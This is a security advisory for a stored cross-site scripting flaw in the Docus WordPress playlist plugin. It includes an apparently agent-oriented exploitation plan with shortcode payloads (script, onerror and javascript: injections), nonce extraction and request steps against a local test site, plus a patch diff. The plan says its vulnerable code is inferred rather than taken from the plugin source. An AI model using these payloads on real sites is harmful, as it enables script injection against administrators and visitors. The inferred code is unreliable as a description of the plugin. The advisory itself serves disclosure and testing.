CVE-2026-1888

Docus <= 1.0.6 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode Attributes

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
1.0.7
Patched in
1d
Time to patch

Description

The Docus – YouTube Video Playlist plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'docusplaylist' shortcode in all versions up to, and including, 1.0.6 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.0.6
PublishedFebruary 5, 2026
Last updatedFebruary 6, 2026
Affected plugindocus

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-1888 (Docus <= 1.0.6) ## 1. Vulnerability Summary The **Docus – YouTube Video Playlist** plugin (v1.0.6 and below) contains a stored cross-site scripting (XSS) vulnerability. The plugin registers a shortcode, `[docusplaylist]`, which accepts various attributes…

Show full research plan

Exploitation Research Plan: CVE-2026-1888 (Docus <= 1.0.6)

1. Vulnerability Summary

The Docus – YouTube Video Playlist plugin (v1.0.6 and below) contains a stored cross-site scripting (XSS) vulnerability. The plugin registers a shortcode, [docusplaylist], which accepts various attributes to configure the playlist display. The handler for this shortcode fails to properly sanitize or escape these attribute values before rendering them into the HTML output.

As WordPress allows users with the Contributor role or higher to create posts and use shortcodes, an attacker can inject arbitrary JavaScript into a post. When an administrator or any other user views the post, the script executes in their browser context.

2. Attack Vector Analysis

  • Shortcode: [docusplaylist]
  • Vulnerable Attributes (Inferred): Attributes like id, playlist_id, style, class, or layout are typical candidates. Based on the vulnerability description, any attribute processed by the shortcode callback and echoed into the page is likely a vector.
  • Endpoint: wp-admin/post.php (via POST request) or wp-json/wp/v2/posts.
  • Authentication Level: Contributor (can create posts but cannot publish) or higher.
  • Preconditions: The plugin must be active. A post containing the malicious shortcode must be saved and then viewed by a victim.

3. Code Flow (Inferred)

  1. Registration: The plugin uses add_shortcode( 'docusplaylist', 'render_docus_playlist' ) (function name inferred).
  2. Processing: When a post is viewed, WordPress parses [docusplaylist attr="payload"].
  3. Sink: The callback function receives an $atts array:
    function render_docus_playlist( $atts ) {
        $atts = shortcode_atts( array(
            'id' => '',
            'style' => 'default'
        ), $atts );
        
        // VULNERABLE CODE:
        return '<div class="docus-playlist" data-style="' . $atts['style'] . '">...</div>'; 
        // Lack of esc_attr() allows breaking out of the attribute and injecting tags.
    }
    
  4. Output: The unescaped payload is sent to the browser.

4. Nonce Acquisition Strategy

While the exploitation of the XSS itself occurs on the frontend and doesn't require a nonce, saving the post as a Contributor requires a WordPress core nonce (_wpnonce).

  1. Login: Log in as a Contributor using the http_request tool.
  2. Access Editor: Navigate to wp-admin/post-new.php.
  3. Extract Nonce: Use browser_eval to extract the _wpnonce from the form or the wp.apiFetch settings if using the Block Editor.
    • Selector: document.querySelector('#_wpnonce').value (Classic Editor) or via the REST API headers.

5. Exploitation Strategy

Step 1: Create Malicious Post (Contributor)

Submit a request to save a new post containing the XSS payload within the shortcode.

  • Request Type: POST
  • URL: http://localhost:8080/wp-admin/post.php
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Payload Parameters:
    • post_title: XSS Test
    • content: [docusplaylist style='"><script>alert(document.domain)</script>']
    • action: editpost
    • post_ID: (Obtained from post-new.php)
    • _wpnonce: (Obtained from post-new.php)
    • post_status: pending (Contributors can only submit for review)

Step 2: Trigger XSS (Administrator)

As an Administrator, view the "Pending" post to "review" it.

  • URL: http://localhost:8080/?p=[POST_ID]&preview=true
  • Action: Navigate to the URL using browser_navigate.

6. Test Data Setup

  1. Plugin Installation: Ensure docus version 1.0.6 is installed and activated.
  2. User Creation: Create a user with the contributor role.
    wp user create attacker attacker@example.com --role=contributor --user_pass=password
    
  3. Identify Post ID: Initiate a post creation to get a valid post_ID.
    wp post create --post_type=post --post_status=draft --post_author=$(wp user get attacker --field=ID)
    

7. Expected Results

  • When the Administrator views the post (either in preview mode or after publishing), the browser should render the HTML as:
    <div class="docus-playlist" data-style=""><script>alert(document.domain)</script>">...</div>
  • A JavaScript alert box showing the domain will trigger.

8. Verification Steps

  1. Source Code Inspection: After the HTTP request, use http_request to GET the post content and check for the unescaped script tag.
    # Verification via CLI to see the raw content stored
    wp post get [POST_ID] --field=post_content
    
  2. Check for Rendered Output: Confirm the attribute breakout in the frontend HTML.
    # Search for the breakout pattern in the rendered HTML
    curl -s "http://localhost:8080/?p=[POST_ID]" | grep "data-style=\"\"><script>"
    

9. Alternative Approaches

If the style attribute is not vulnerable, try other common attributes identified in the source (once available) or common defaults:

  • [docusplaylist id='"><img src=x onerror=alert(1)>']
  • [docusplaylist playlist_id='javascript:alert(1)'] (if used in a link href)
  • [docusplaylist class='"><iframe src="javascript:alert(1)"></iframe>']

If the Block Editor (Gutenberg) is enforced, use the REST API to update the post:

  • Endpoint: POST /wp-json/wp/v2/posts/[ID]
  • Header: X-WP-Nonce: [NONCE]
  • Body: {"content": "[docusplaylist style='\"><script>alert(1)</script>']"}
Research Findings
Static analysis — not yet PoC-verified

Summary

The Docus – YouTube Video Playlist plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'docusplaylist' shortcode in versions up to 1.0.6. This occurs due to the plugin failing to sanitize or escape shortcode attributes (like 'style', 'id', or 'class') before rendering them into the HTML, allowing Contributor-level users to inject arbitrary JavaScript.

Vulnerable Code

// Inferred from research plan code flow
function render_docus_playlist( $atts ) {
    $atts = shortcode_atts( array(
        'id' => '',
        'style' => 'default'
    ), $atts );
    
    // VULNERABLE CODE: Lack of esc_attr() allows breaking out of the attribute and injecting tags.
    return '<div class="docus-playlist" data-style="' . $atts['style'] . '">...</div>'; 
}

Security Fix

--- docus/docus.php
+++ docus/docus.php
@@ -4,5 +4,5 @@
-    $atts = shortcode_atts( array(
-        'id' => '',
-        'style' => 'default'
-    ), $atts );
-    
-    return '<div class="docus-playlist" data-style="' . $atts['style'] . '">...</div>'; 
+    $atts = shortcode_atts( array(
+        'id' => '',
+        'style' => 'default'
+    ), $atts );
+    
+    return '<div class="docus-playlist" data-style="' . esc_attr( $atts['style'] ) . '">...</div>';

Exploit Outline

The exploit involves an authenticated Contributor (or higher) injecting a script through the [docusplaylist] shortcode. 1. Log in as a Contributor user. 2. Create a new post or edit an existing draft. 3. Insert the shortcode with a payload that breaks the HTML attribute context: [docusplaylist style='"><script>alert(document.domain)</script>']. 4. Save the post (this triggers the storage of the script). 5. An administrator or site visitor views the post (or post preview), causing the browser to render the unescaped attribute and execute the malicious script.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.